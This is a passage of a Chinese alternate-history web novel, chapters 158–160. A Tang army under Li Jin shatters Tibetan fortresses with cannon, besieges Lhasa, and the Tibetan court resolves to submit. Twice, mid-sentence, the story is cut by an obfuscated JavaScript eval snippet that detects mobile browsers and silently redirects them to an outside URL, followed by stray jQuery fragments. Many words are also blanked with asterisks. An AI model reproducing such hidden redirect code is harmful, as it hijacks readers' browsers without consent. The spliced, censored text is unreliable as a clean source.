野狼谷的硝烟尚未散尽,但这场注定要震动整个西域乃至吐蕃高原的初战,已经以唐军一场辉煌的、碾压式的胜利告终。神策军的威名,以及那种被吐蕃溃兵惊恐地称为“天雷”的可怕武器的传说,将随着溃兵和风声,迅速传遍西域的每一个角落。而李瑾,这位年轻的帝国统帅,也用这场干脆利落的胜利,向所有人证明了他的能力,以及他手中所掌握的、足以改变战争规则的力量。西征之路,就此拉开了一个全新的、血与火交织的序幕。
第158章 奇袭夺要塞
野狼谷大捷的余波,如同投入平静湖面的巨石,在西域这片广袤而敏感的土地上激起了层层涟漪。五千吐蕃精锐近乎全军覆没的消息,伴随着溃兵们惊恐万状描述的“天雷”传说,以惊人的速度向西蔓延。一时间,从祁连山麓到阿尔金山口,从沙州到伊州,各路势力都在窃窃私语,猜测着唐军这位年轻统帅手中掌握的究竟是何种恐怖力量。
但李瑾没有给敌人太多揣测和准备的时间。
野狼谷战后仅休整三日,补充了粮秣箭矢,安置了俘虏和伤员,大军便再次开拔,浩浩荡荡向西挺进。这一次,他的目标直指西出河西走廊、进入吐蕃实控区的咽喉要冲——大非川要塞。
大非川,并非一条河流,而是一片位于祁连山与阿尔金山交汇处、地势相对平缓的河谷地带。吐蕃人在此依山筑城,控扼着东西交通的必经之路。此要塞墙高壕深,储备充足,常年驻有三千吐蕃精兵,由吐蕃贵族、勇将论婆罗镇守。在以往唐蕃拉锯战中,此地曾多次让唐军铩羽而归,被吐蕃人称为“金汤铁壁”。若能拔除这颗钉子,不仅能打通西进的道路,更能极大震撼吐蕃在此地区的统治,为后续直逼逻些城扫清障碍。**
然而,大非川要塞并非野狼谷那般可以轻易设伏的孤立营地。它背靠险峻山岭,面对开阔河谷,视野良好,易守难攻。强攻必然伤亡惨重,旷日持久的围困又恐生变数——吐蕃援军随时可能从高原南下。
唐军前锋在距大非川要塞三十里处扎营。中军大帐内,气氛不复野狼谷战前的凝重,但也绝不轻松。沙盘上,大非川要塞的模型被特意放大,周边的山势、河流、道路清晰可辨。
“大总管,据斥候多日侦察,并结合俘虏口供,大非川要塞情况已基本摸清。”薛仁贵指着沙盘,面色沉稳中带着几分跃跃欲试,“要塞城墙以巨石垒砌,高三丈有余,外有深阔壕沟,引附近雪水灌入。四角设有高大箭楼,城头可并行三马。守将论婆罗,性情剽悍,是吐蕃大论(宰相)一系的悍将。城中粮草足备,据说可支持半年以上。**其麾下三千人,皆是跟随他多年的老兵,战力不弱。”
郭待封皱眉接口:“此城硬攻确实棘手。我军虽有火炮,但此城墙坚固异常,火炮能否轰开缺口,尚未可知。**且敌军居高临下,**犀利,我军若蚁附攻城,伤亡必巨。”
“况且,”另一位河西老将补充道,“野狼谷之败消息想必已传至此处,论婆罗必有防备。我军‘天雷’之威,恐已不足以像上次那般令其军心崩溃。”
众将议论纷纷,多数倾向于围而不攻,或派偏师绕道,但都不是上佳之选。**
李瑾静静听着,目光始终没有离开沙盘上那座坚固的要塞模型。片刻后,他抬起头,眼中闪过一丝锐利的光芒:“诸位将军所言皆有道理。大非川要塞确是块硬骨头,但正因其硬,啃下来,才能最大程度地震慑吐蕃,打开西进通途。强攻不可取,久围亦非良策。我们需要的,是一场‘奇袭’。**”
“奇袭?”薛仁贵一愣,“大总管,此地地势开阔,要塞戒备森严,我军大队人马根本无法隐蔽接近。小股精锐或许能趁夜摸到城下,但若无内应,如何破门夺城?”
“谁说奇袭,一定要爬上他的城墙?”李瑾的手指,轻轻点在了沙盘上,要塞的正门——也是唯一的主要出入通道之上。“我们的优势,在于看得远,打得准。既然他们听说了‘天雷’,那就让他们亲眼见识一下,这‘天雷’究竟能不能劈开他们的‘金汤铁壁’!**”
他顿了顿,声音愈发清晰坚定:“我们不强攻,也不爬墙。我们要做的,是在他们自以为安全的距离之外,用火炮,把他们的城门,连同门后可能的防御设施,一点点,轰成齑粉!**”
三日后,黎明前,大非川要塞以东五里,一处经过精心伪装和加固的缓坡后。
二十门最为沉重的“雷霆将军炮”和三十门稍轻的“虎蹲炮”被悄悄部署在此。炮口全部指向远处晨曦微光中那模糊而雄浑的城墙轮廓。炮兵们屏息静气,借着最后的夜色掩护,进行着最后的检查和调整。在他们身后稍高的指挥位置上,李瑾、薛仁贵等人正通过千里镜,仔细观察着要塞的动静。
“距离,四里又一百二十步。风向,东南偏东,微风。目标,正门及其左右三十步内城墙。”观测手低声报出参数,旁边有**官快速记录,并由专门的计算兵进行简单的换算,最后变成旗语和口令,传达给每一门火炮的炮长。这是李瑾结合后世炮兵观测和当下条件,紧急训练出的一套简易火炮指挥体系,虽然粗糙,但在这个时代已是革命性的进步。
大非川要塞城头,火把通明。守将论婆罗身披重甲,手扶垛口,脸色阴沉地望着东方逐渐泛白的天际。野狼谷惨败的消息和“天雷”的恐怖传闻,他自然已经知晓。初闻时他亦是心惊不已,但随即便是不屑与怀疑。他是见过大阵仗的,不相信世上真有能隔着数里取人性命的武器,更多的是认为那是论钦陵无能败北后的托词。
“唐军到了何处?”论婆罗沉声问。
“回大论,唐军主力在三十里外扎营,昨日有小股游骑出现在十里外,但未见大队人马靠近。**”副将回答。
“哼,定是听说我大非川固若金汤,不敢来攻了!”论婆罗冷哼一声,“传令下去,不可懈怠,加强戒备,尤其是夜间和黎明时分!我倒要看看,唐人的‘天雷’,能不能劈得动我这石头城墙!”话虽如此,他还是下意识地多看了几眼远处的黑暗,心中隐隐有些不安。
就在此时,东方的天际,第一缕晨光刺破了黑暗。
几乎同时,在论婆罗视线难及的远处缓坡后,李瑾放下了千里镜,对身边的炮营指挥使微微点了点头。**
炮营指挥使深吸一口气,猛地挥下了手中的红色令旗,用尽全身力气嘶吼道:“目标,敌要塞正门!装填实心弹!预备——放!”
“放!”
“放!!”
命令层层传递。下一刻,五十门火炮的炮口同时喷吐出长长的火焰和浓密的白烟!巨大的轰鸣声连成一片,仿佛一头沉睡的巨兽在黎明时分发出了震怒的咆哮!炮口风暴卷起的尘土,瞬间遮蔽了半个山坡。
大非川要塞城头。
论婆罗和守军只听到东方传来一阵沉闷如滚雷般的连绵巨响,尚未明白发生了什么,一种尖利到极致、撕裂空气的凄厉呼啸声便由远及近,以一种无法理解的速度扑面而来!
“那是什么……”一个吐蕃士兵指着天空中数十个拖着淡淡烟迹的黑点,茫然地问。
他的疑问,在下一刹那得到了血肉横飞的回答。**
“轰!!!”
“砰!!!”
“咔嚓——轰隆!!!”
第一轮齐射,超过半数的炮弹准确地落在了宏伟坚固的城门楼及附近城墙区域!实心的铁弹携带着恐怖的动能,狠狠砸在巨石垒砌的城墙上,顿时石屑纷飞,出现了一个个触目惊心的凹坑和裂纹!更有数发炮弹直接命中了包铁的厚重城门,发出震耳欲聋的巨响,门上出现了明显的凹痕和破裂!一枚炮弹甚至从垛口间射入,将后面一架守城**机连同操作的士兵一起砸得粉碎!**
“天雷!真的是天雷!”“唐人的妖法来了!”城头瞬间大乱!虽然这一轮炮击直接杀伤并不算特别巨大,但其超越认知的攻击距离和毁灭性的声势,以及野狼谷惨败的恐怖传闻,瞬间击垮了许多吐蕃士兵的心理防线。**他们惊恐地尖叫着,有的趴在地上瑟瑟发抖,有的则没头没脑地乱跑。
“不要乱!是投石车!唐人的投石车!躲在垛口后面!”论婆罗又惊又怒,他同样被这超远距离的打击震撼得心惊肉跳,但身为主将的责任让他强作镇定,拔刀砍翻了一个乱跑的士兵,声嘶力竭地吼道。他无法理解这是什么武器,只能将其归结为唐军某种超大型、超远射程的投石机。
然而,唐军的攻击并未停歇。第一轮试射校
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000318|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正后,炮击变得更加精准和高效。观测手不断通过千里镜观察弹着点,用旗语迅速传递修正指令。
“左移五度,加药一分!目标,城门中段!”
“右移三度,目标,城门楼左侧箭楼基座!”
轰鸣声再次响起,这一次更加集中,更加致命。
沉重的实心弹如同死神的铁拳,一次又一次地狠狠砸在同一扇城门及其周边的墙体上。包铁的木制城门在连续的重击下发出不堪重负的**,裂纹不断扩大,中间甚至被砸出了一个巨大的窟窿!门后的顶门柱和加固结构在冲击下崩裂。城墙上的石块不断崩落,裂缝如同蜘蛛网般蔓延。一门火炮发射的***甚至幸运地从城门窟窿钻入,在门后的甬道内**,将聚集在那里准备堵门的一队吐蕃士兵炸得血肉横飞!**
“放箭!用**炮还击!找到唐军的投石车!”论婆罗双眼赤红,疯狂吼叫着。然而,唐军的火炮阵地远在四里之外,远远超出了城上任何弓**乃至最大型**炮的射程。吐蕃守军只能绝望地躲在垛口后,被动地承受着一轮又一轮的轰击,感受着脚下城墙传来的阵阵剧烈震动,以及同伴不时被飞溅的石块或穿透垛口的流弹击中的惨叫。**这是一种令人窒息的、完全不对等的碾压。
炮击持续了足足半个时辰(一小时)。当炮声终于暂时停歇时,大非川要塞那扇曾让无数唐军将士饮恨的厚重城门,已经变成了一堆勉强挂在门轴上的、布满破洞和裂纹的碎木。门洞附近的城墙也出现了数道明显的裂缝,摇摇欲坠。城头一片死寂,只有伤兵的哀嚎和火焰噼啪燃烧的声音。
“步军,前进!**手掩护!骑兵两翼掠阵!”李瑾冷酷地下达了总攻命令。
“咚!咚!咚!咚!”
震天的战鼓声响起。早已蓄势待发的唐军步卒方阵,在弓**手和剩余火炮(转移目标压制城头)的掩护下,迈着整齐而沉重的步伐,如同移动的钢铁森林,向着那洞开的城门推进。**阳光照耀在他们明晃晃的兵刃和铠甲上,反射出刺骨的寒光。
城门后,论婆罗咬牙切齿,组织起最后的力量,试图用弓箭、滚木礌石封堵缺口。然而,失去城门和部分城墙的掩护,在唐军密集的**箭和不时落下的炮弹压制下,他们的抵抗显得苍白无力。
“大唐!万胜!”
冲在最前的薛仁贵,一马当先,率领着精锐的跳荡兵(突击队),顶着盾牌,冒着稀疏的箭雨,猛地撞进了那片破碎的城门!身后,如潮的唐军士卒发出震天的呐喊,汹涌而入。
接下来的战斗,几乎没有任何悬念。
士气崩溃、城门洞开、主将论婆罗在混战中被薛仁贵一戟挑杀……一切抵抗在唐军有组织的步兵推进和后续骑兵的冲击下迅速瓦解。两个时辰后,当太阳完全升起,高悬于大非川要塞上空时,城头上飘扬的吐蕃旗帜被扯下,换上了大唐的赤色军旗。
是役,唐军以伤亡不足三百的代价,攻克吐蕃经营多年、号称“金汤铁壁”的大非川要塞,全歼守军三千。缴获粮草、军械、马匹无数。此战,火炮超远距离的精准轰击和对坚固城防的毁灭性打击,再次震撼了所有人。它不仅是一场战术的胜利,更是一种全新作战理念的无情宣示。**
站在残破的城门楼上,望着西方吐蕃高原方向起伏的山峦,李瑾知道,通往逻些城的大门,已经被他用这个时代最猛烈的火焰与钢铁,狠狠砸开了。
“传令,修缮城防,安抚城中未及逃走的吐蕃百姓,严格军纪,不得扰民。”李瑾收回目光,沉声下令,“同时,将大非川捷报,连同野狼谷之捷,八百里加急,报送长安!告诉将士们,休整三日,补充给养,下一步,我们的目标是——乌海!”
“诺!”众将轰然应命,声音中充满了对未来战事的无比信心与渴望。阳光照在他们染血的铠甲和兴奋的脸上,也照亮了脚下这片刚刚被征服的土地,以及更西方那条即将被铁与血重新踏出的征途。
第159章 兵临逻些城
大非川要塞陷落的消息,如同一阵裹挟着冰雪与血腥的高原寒风,以比唐军铁骑更快的速度,席卷了整个吐蕃东北部。坚固的“金汤铁壁”在唐军神秘的“天雷”下化为齑粉,三千守军全军覆没,勇将论婆罗战死……这些消息一个比一个震撼,一个比一个恐怖。恐慌如同瘟疫般在吐蕃边境的守军和部落中蔓延。很多人开始相信,唐人此次西征,不仅是为了收复失地,更是得到了神灵或魔鬼的力量,要将吐蕃彻底推入深渊。
李瑾没有停下脚步。
在大非川稍作休整,补充粮秣,并留下一部分河西边军和伤员驻守、修缮城防后,他亲率神策军主力及精选的五千河西精骑,共计一万五千余人,踏上了继续西进的征程。他的目标明确而坚定——直捣吐蕃心脏,逻些城(今拉萨)。**
接下来的进军,出乎意料地顺利,却又在情理之中。野狼谷与大非川两战,不仅歼灭了吐蕃在东线的精锐机动兵力,更是从心理上彻底击垮了沿途吐蕃军民的抵抗意志。唐军所到之处,往日那些凭借山隘、城堡负隅顽抗的吐蕃守军,要么望风而逃,要么在唐军兵临城下、火炮尚未发言之际,便主动开城请降。那些关于“天雷”可于数里外摧城拔寨、人马俱碎的传言,经过无数溃兵和难民的口口相传,已被渲染得无比恐怖和神秘。
乌海(今青海湖地区)、河源(黄河上游地区)等战略要地相继易手,几乎未遇到像样的抵抗。李瑾严格执行“降者不杀,抗拒屠城”的军令,对于主动投降的吐蕃贵族和部落头人予以安抚,对于冥顽不灵者则施以铁血手段。一边是雷霆毁灭的恐惧,一边是存续部族的希望,很多吐蕃贵族在利害权衡下,选择了后者。唐军身后,留下的是一个个插上唐旗的城堡和望风归附的部落。李瑾沿途任命临时守将,建立驿站,保障粮道,将军事胜利逐步转化为实际控制。**
当然,并非全无阻力。
在翻越巴颜喀拉山支脉、进入吐蕃核心区域前的最后一道天险——积石山(今阿尼玛卿山一带)隘口,吐蕃王室紧急拼凑起的一支约八千人的军队,在大将尚野兔的率领下,据险而守,试图阻止唐军深入高原腹地。此地山势更加险峻,道路狭窄,吐蕃人在隘口两侧山崖上堆积了大量滚木礌石,摆出了决死一战的架势。**
这一次,李瑾没有再给他们凭借地利顽抗的机会。他命令前锋停止前进,就地扎营。随后,在一个月黑风高的夜晚,薛仁贵亲率一支两千人的精锐步兵,在熟悉山路的吐蕃向导(投降的小部落头人子弟)带领下,携带钩索、短兵及少量便于携行的轻型火器(如改良的突火枪和手抛震天雷),沿着一条极为隐秘的猎人小径,花了整整一夜,艰难地绕到了吐蕃守军侧后方的山脊上。**
次日清晨,当尚野兔和他的士兵们紧盯着隘口前方唐军大营的动静时,他们的头顶上方,毫无征兆地响起了连续的爆炸声和火铳的轰鸣!滚木礌石的堆放点、简易的营地、弓箭手聚集的崖壁……遭到了来自上方的毁灭性打击。与此同时,隘口正面的唐军主力在火炮的掩护下,发起了猛烈的佯攻。
腹背受敌,加上对头顶上“天雷”的天生恐惧,尚野兔的军队很快崩溃。狭窄的山道上,溃兵自相践踏,死伤无数。唐军主力趁势攻占隘口,尚野兔本人在乱军中被薛仁贵一箭射杀。此战之后,前往逻些城的道路,再无大的险阻。**
当唐军的旗帜出现在逻些河谷东端的山口,遥遥望见远处平原上那座依山傍水、在高原阳光下闪烁着金顶光芒的宏伟城池时,时间已是大唐咸亨元年(公元670年)的深秋。从誓师出征到兵临吐蕃都城之下,李瑾率领的这支西征军,仅用了不到五个月的时间,穿越数千里险峻高原,连战连捷,创下了前所未有的行军与作战记录。**
逻些城,这座吐蕃王朝的**、宗教中心,已然近在眼前。
城墙上,吐蕃的牦牛旗和各式经幡在高原的大风中猎猎作响,但气氛却凝重得如同即将降雪的天空。城外,原本繁华的帐篷区和集市已空无一人,只剩下凌乱的痕迹和被匆忙丢弃的杂物。宽阔的吉曲河(拉萨河)静静流淌,倒映着城墙上密集的人影和兵刃的寒光。更远处,布达拉宫的红白宫墙在阳光下显得格外醒目,也格外沉默。**
唐军没有立刻攻城,而是在逻些城东面约十里外,一处背山面水、地势较高的地方,扎下了坚固的营寨。营寨以车阵、壕沟、拒马和简易土墙构成,防御严密。中军大帐刚刚立起,李瑾便带着众将登上营中一处高地,用千里镜仔细观察着这座吐蕃都城。**
“城墙高厚,依山势而建,确是雄城。”薛仁贵放下千里镜,神色凝重,“看城头守军旗号和部署,人数不少,且多是吐蕃王室直属的精锐‘茹’军。强攻,代价必大。”
郭待封补充道:“据俘虏和归降者言,城中粮草储备应该足支一年以上,且有地下水源。短期围困,恐难见效。且我军深入敌境,粮道绵长,虽有沿途缴获和部分归附部落供应,但若迁延日久,气候转寒,于我不利。**”
李瑾点了点头,目光依旧没有离开千里镜中的城池轮廓。逻些城的防御确实比大非川要塞更为完备,地形也更加复杂。更重要的是,这是吐蕃的都城,是其政治、宗教信仰的核心,守军的抵抗意志和城内的抵抗潜力,绝非边境要塞可比。强攻,即使有火炮之利,也必然是一场惨烈的消耗战,这与他此行以最小代价获取最大战略利益的目的不符。**
“我们不急。”李瑾终于放下千里镜,脸上露出一丝成竹在胸的淡淡笑意,“我们兵临城下,兵锋直指其国都,该着急的,是吐蕃赞普和他的那些大论们。传令下去,各军加强戒备,谨防敌军偷袭。同时,派出骑兵游骑,肃清周边百里内的吐蕃游骑和探马,切断逻些城与外界的联系。另外……”他顿了顿,声音转冷,“明日清晨,将我们的‘雷霆将军炮’推到营前三里处,对着逻些城外那片无人的旷野,给我好好地‘演**’一番!让城里的贵人们,亲眼看看、亲耳听听,他们传闻中的‘天雷’,究竟是何等模样!”
次日,天刚蒙蒙亮。
唐军营寨辕门大开,数百名士兵喊着整齐的号子,用牛马和人力,将十门最为沉重的“雷霆将军炮”缓慢而稳定地推到了距离逻些城东墙大约四里的一处高坡上。这个距离,恰好在城头守军弓**射程之外,却又能让城上的人清晰地看到这些黑沉沉的钢铁巨兽。
逻些城头,吐蕃赞普芒松芒赞(此时应为其在位期间,具体时间根据剧情需要设定)在一众大臣、将领和僧侣的簇拥下,面色苍白地望着远处唐军的奇怪举动。他年纪不大,脸上还带着几分未脱的稚气,但眼神中已充满了焦虑和恐惧。连日来的坏消息和兵临城下的压力,让这位年轻的赞普不堪重负。他身边,是同样脸色难看的大论(宰相)噶尔·钦陵(与野狼谷败将论钦陵同族,可能为其兄长或族中长辈,吐蕃此时噶尔家族权势熏天)以及其他贵族、将领。
“那就是……唐人的‘天雷’法器?”芒松芒赞的声音有些干涩。
“看样子像是一种巨大的铜铁铸管。”一位年长的僧侣眯着眼,试图看清,“但如此遥远,如何伤敌?”
他的疑问,很快得到了解答。
唐军炮兵阵地。随着指挥官令旗挥下,士兵们有条不紊地完成装填、瞄准。为了达到震慑效果,这次装填的全是威力最大的实心铁弹和部分开花弹。**
“预备——放!”
“轰!!!!!!”
十门重炮同时怒吼,声震数十里!炮口喷出的烈焰和浓烟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005855|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甚至短暂遮蔽了初升的朝阳。紧接着,是那种令吐蕃人闻之丧胆的、凄厉无比的尖啸破空声!
逻些城头的吐蕃贵族们,只见远处那些黑管子口部猛地喷出火光浓烟,然后数个黑点以肉眼难以捕捉的速度划破长空,几乎是瞬间,便越过了四里的距离,狠狠砸在城外那片预先设置了一些废弃帐篷、木栅和土堆作为标靶的空地上!
“轰隆!!!”“砰!!!”“轰——!”
震耳欲聋的**声接连响起!大地剧烈震颤!坚固的冻土被轻易撕裂,炸出一个个可怕的深坑!那些作为标靶的帐篷、木栅在火光和气浪中被撕得粉碎,燃烧的碎片抛洒得到处都是。一枚实心弹甚至将一块半人高的巨石靶子打得四分五裂!开花弹凌空爆炸,无数碎铁片如同死神的镰刀,将方圆数十步内的一切假人靶子扫荡一空!**
整个逻些城头,死一般的寂静。
只有风声,和远处唐军阵地上隐约传来的欢呼与号令声。所有吐蕃贵族、将领、士兵,包括赞普芒松芒赞在内,都目瞪口呆地望着城外那片瞬间化为炼狱般的空地,脸上的血色褪得干干净净。先前还有所怀疑的人,此刻所有的怀疑都被眼前这毁灭性的场景击得粉碎。这不是投石车,不是**炮,这是他们无法理解、无法抵抗的力量!如果这些“天雷”不是落在空地,而是落在城墙上,落在城内……所有人都不敢再想下去。
“这……这……”芒松芒赞嘴唇哆嗦着,一句完整的话也说不出来。他身边的僧侣们,更是脸色惨白,不住地念诵着佛号或苯教咒语,身体却控制不住地颤抖。
大论噶尔·钦陵的脸色阴沉得几乎要滴出水来。他看了一眼年轻惊恐的赞普,又看了看周围同样惶恐不安的贵族们,心中最后一丝凭借逻些城坚城决死一战的念头,也在那惊天动地的炮声中,彻底瓦解了。野狼谷、大非川的失败,或许还有托词,但眼前这毁灭性的力量,是实实在在、无法辩驳的。再坚固的城墙,在这等神器面前,又能坚持几时?**
就在这时,一骑唐军轻骑自营中飞驰而出,直奔逻些城下,在一箭之地外停下,张弓搭箭,将一支绑着信筒的鸣镝射上了城头。
信很快被呈送到芒松芒赞和噶尔·钦陵面前。信是以大唐皇帝李治和天后武媚娘的名义发出,由行军大总管李瑾副署。措辞严厉,直斥吐蕃屡犯边境、侵夺安西之罪,言明王师西征乃吊民伐罪。但信末笔锋一转,给出了一条“生路”:令吐蕃赞普芒松芒赞自去赞普尊号,上表称臣,遣子入朝为质,岁岁朝贡,并割让吐谷浑故地及东部数州与大唐。如此,可保逻些城不遭兵火,保吐蕃王室宗庙不绝。限期三日答复。过期不复,或拒不从命,大军即刻攻城,届时城破之日,鸡犬不留!**
信的最后,盖着鲜红的大唐皇帝玉玺和行军大总管印信,触目惊心。
压力,如同沉重的雪山,瞬间压在了每一个吐蕃统治阶层的心头。
是战,是降?战,面对那毁天灭地的“天雷”,有几成胜算?即便侥幸守住,吐蕃精锐损失殆尽,周边虎视眈眈的部落和敌国会如何?降,则意味着吐蕃自松赞干布以来数代赞普的基业毁于一旦,国将不国,成为大唐的附庸。**
逻些城,这座高原上最辉煌的都城,此刻笼罩在一片前所未有的绝望与彷徨之中。而在十里外的唐军大营,李瑾正静静地等待着,等待着那个早已在他预料之中的答复。兵临城下,不战而屈人之兵,方为上策。他相信,见识了火炮之威后,逻些城里的人,会做出聪明的选择。**
高原的寒风呼啸而过,卷起营前空地上的硝烟与尘埃,也将唐军那面巨大的、猎猎作响的赤色帅旗,吹得笔直。旗面上的“李”字,在苍茫的天穹下,仿佛一只凝视着猎物的巨龙眼睛。
第160章 吐蕃王请降
逻些城,布达拉宫的红宫议事大殿内,气氛压抑得令人窒息。鎏金的佛像、绚丽的唐卡、馥郁的藏香……往日代表着权力与神圣的一切,此刻在沉重的现实面前,都失去了光彩。昨日城外那震天动地的炮声和恐怖的毁灭场景,仿佛还在每个人耳边回响,眼前浮现。**空气中弥漫着恐惧、不甘、挣扎与绝望。
年轻的赞普芒松芒赞坐在高高的镶金法座上,身着华丽的赞普礼服,头上的王冠却显得异常沉重。他脸色苍白,眼圈发黑,显然一夜未眠。在他下首,是同样面色凝重的大论噶尔·钦陵,以及吐蕃各大贵族、各“茹”(军事行政区划)的长官、高级僧侣等吐蕃统治核心人物。**
“唐人限我们三日之内答复,今日已是第二日了。”一个年老贵族声音干涩地打破了沉默,“是战是……是和,赞普,大论,该有个决断了。”他本想说“降”,但这个字在嘴边转了几转,终于还是换成了“和”。
“战?如何战?”另一名身着铠甲的武将激动地站起来,他是负责逻些城防务的将军,眼中布满血丝,“你们都看见了!那唐人的妖法!隔着四五里地,就能将巨石打得粉碎!我们的城墙再厚,能挨得了几下?野狼谷、大非川、积石山……哪一处不是天险?结果如何?论钦陵大将军败了,论婆罗将军死了,尚野兔将军也死了!我们吐蕃最精锐的勇士,不是死在刀剑之下,而是连敌人的面都没见到,就被那天雷炸得粉身碎骨!**”他的声音带着压抑的恐惧和悲愤。
“难道就让我堂堂吐蕃,就此向唐人屈膝称臣不成?”一个强硬派贵族怒道,“我吐蕃自松赞干布赞普以来,东征西讨,何曾受过如此屈辱!逻些城坚固,粮草充足,我们还有数万忠勇将士!就算唐人有妖法,我们据城死守,拖到冬季,高原风雪自会让他们不战自溃!**”
“拖?”先前那位武将惨笑一声,“你以为唐人会给我们拖的时间吗?他们的天雷一响,城墙崩塌,军心瓦解,到时候,恐怕不等唐人杀进来,城里的人就先乱了!何况……何况唐人信中说了,若是拒绝,城破之日,鸡犬不留!你我死则死耳,难道要让赞普,让我吐蕃王室宗庙,让这满城的子民,都为我们的愚忠陪葬吗!**”最后一句,他几乎是吼出来的。
大殿内再次陷入死寂。那句“鸡犬不留”像冰锥一样刺在每个人心头。唐军一路行来,对顽抗者的酷烈手段,他们早有耳闻。没人怀疑那位年轻唐军统帅的决心。
一直闭目捻动佛珠的僧相(僧官系统的首领)缓缓开口,声音苍老而疲惫:“佛法云,刀兵一起,生灵涂炭。逻些乃我佛光沐浴之地,布达拉宫更是圣地中的圣地。若因我等执念,致使佛寺毁于战火,僧众罹难,经典蒙尘,此罪孽,万劫不复。为了佛法存续,为了万千生灵,老衲以为……当以和为贵。”僧相的态度,无疑代表了吐蕃宗教界的倾向,对在场贵族影响极大。**
所有人的目光,最终都投向了一直沉默不语的大论噶尔·钦陵,以及宝座上年轻的赞普。**
噶尔·钦陵缓缓抬起头,他的眼中布满血丝,脸上的皱纹似乎一夜之间深了许多。作为吐蕃实际上的掌权者,他比任何人都清楚吐蕃眼下的困境:东线精锐丧尽,国内空虚,各地贵族人心浮动,而唐军兵锋之盛、武器之利,远超想象。死守,或许能凭借逻些城的坚固和高原气候拖一段时间,但结局几乎可以预见——城破国灭。投降,虽然屈辱,但至少能保住吐蕃王室的存续,保住贵族们的部分利益,也为将来留下一线希望。更关键的是,作为噶尔家族的掌舵人,他必须为家族的存亡考虑。与唐军硬抗到底,噶尔家族必将随着王室一起毁灭。而若能促成和议,哪怕条件苛刻,他和他的家族,或许还能在新的格局中保有一席之地。**
他终于将目光投向宝座上的芒松芒赞,声音沙哑而沉重地开口了:“赞普,诸位。眼下之局,已非意气之争。唐军兵锋之锐,器械之利,确非我吐蕃所能敌。野狼谷一战,我军主力尽丧;大非川天险,半日即破。如今唐军兵临城下,所恃者,非仅兵多将广,更有那无可抵御之神器。若拼死一战,逻些或可暂保,但我吐蕃数十年积累之精华,数代赞普之基业,恐将毁于一旦。届时,不仅国祚不存,百姓罹难,就连佛法,亦将蒙尘。”他停顿了一下,目光扫过在场每一个人痛苦而复杂的脸,缓缓道:“为赞普安危计,为吐蕃国祚宗庙计,为万千生灵计……老臣以为,当……暂忍一时之辱,与唐人……议和。”
“大论!”几个强硬派贵族失声喊道,脸上满是不敢置信与悲愤。**
噶尔·钦陵抬手制止了他们,继续用疲惫而坚定的声音说道:“唐人所提条件,固然苛刻。然而,赞普之位可保,逻些城可保,我吐蕃宗教、制度、百姓,亦可得保全。所失者,名号与土地而已。名号可改,土地……未必不可徐图恢复。若是城破国灭,则万事皆休。此乃存亡续绝之时,非争一时之短长也。还望赞普……圣裁。**”说罢,他对着芒松芒赞深深一躬。
宝座上的芒松芒赞身体微微颤抖。他年轻,但并不愚蠢。他知道大论的话是对的,至少是目前看来唯一的出路。可是,让他这个松赞干布的子孙,吐蕃的赞普,向唐人自去尊号,称臣纳贡,这份耻辱,实在是……他闭上眼睛,泪水从眼角悄然滑落。许久,他才用几乎微不可闻的声音道:“既然……既然大论与诸位都是此意……那便……依唐人所请吧。派……派使者出城,告知唐军主帅,我……我吐蕃……愿和。**”最后两个字,仿佛用尽了他全身的力气。
第三日,清晨。
逻些城东门缓缓打开。一支规模不大、却极为庄重的队伍走了出来。为首者,正是吐蕃大论噶尔·钦陵。他脱去了代表权力的华服,身着素色的吐蕃官袍,手捧一个镶嵌着黄金和宝石的金盘,盘中放着吐蕃赞普的印绶、户籍图册副本以及一卷用金线捆扎的羊皮卷轴。在他身后,是几位同样神情肃穆的高级官员和僧侣,再后面,是数十名手捧礼物、牵着洁白牦牛和骏马的侍从。队伍中没有旌旗,没有仪仗,只有一面代表求和的白色旗帜,在高原的寒风中无力地飘荡。**
唐军大营辕门早已洞开。身着明光铠、按剑肃立的唐军士卒如同钢铁雕塑般分列两侧,一直从营门排列到中军大帐。阳光照耀下,甲胄与兵刃反射出森冷的寒光,肃杀之气扑面而来。道路中央,铺着崭新的红色氍毹(地毯),直通那座最大的、飘扬着“李”字帅旗和唐字大旗的帐篷。
噶尔·钦陵深吸一口气,挺直了因为屈辱和疲惫而有些佝偻的脊背,迈步踏上了那条红色的地毯。每一步,都仿佛有千斤之重。两旁唐军士卒锐利如刀的目光,让他如芒在背。**他能听到身后自己人粗重而压抑的呼吸声。
中军大帐内,李瑾身穿紫色王公常服,外罩明光铠,端坐在主位之上。薛仁贵、郭待封、黑齿常之等将领顶盔贯甲,按剑侍立两侧,目光冷峻。帐中气氛凝重,只有火盆中木炭偶尔发出的噼啪声。
噶尔·钦陵在帐外高声道:“吐蕃国大论噶尔·钦陵,奉我主赞普之命,特来呈递国书,恳请天朝大总管仁慈,罢兵息戈!”说罢,他双膝跪地,将手中金盘高高举过顶。他身后的吐蕃使团成员,也跟着齐刷刷跪倒一片。**
一名唐军校尉上前,接过金盘,检查无误后,捧到李瑾面前。李瑾拿起那卷羊皮国书,展开浏览。国书以吐蕃文和汉文双语写成,措辞极尽卑微。吐蕃赞普芒松芒赞自称“吐蕃国主、外臣”,承认屡犯大唐边境、侵夺安西之罪,“惶恐战栗,无地自容”。表示愿意去除“赞普”帝号,接受大唐皇帝册封的“吐蕃国王”封号,永为大唐藩属。并承诺:
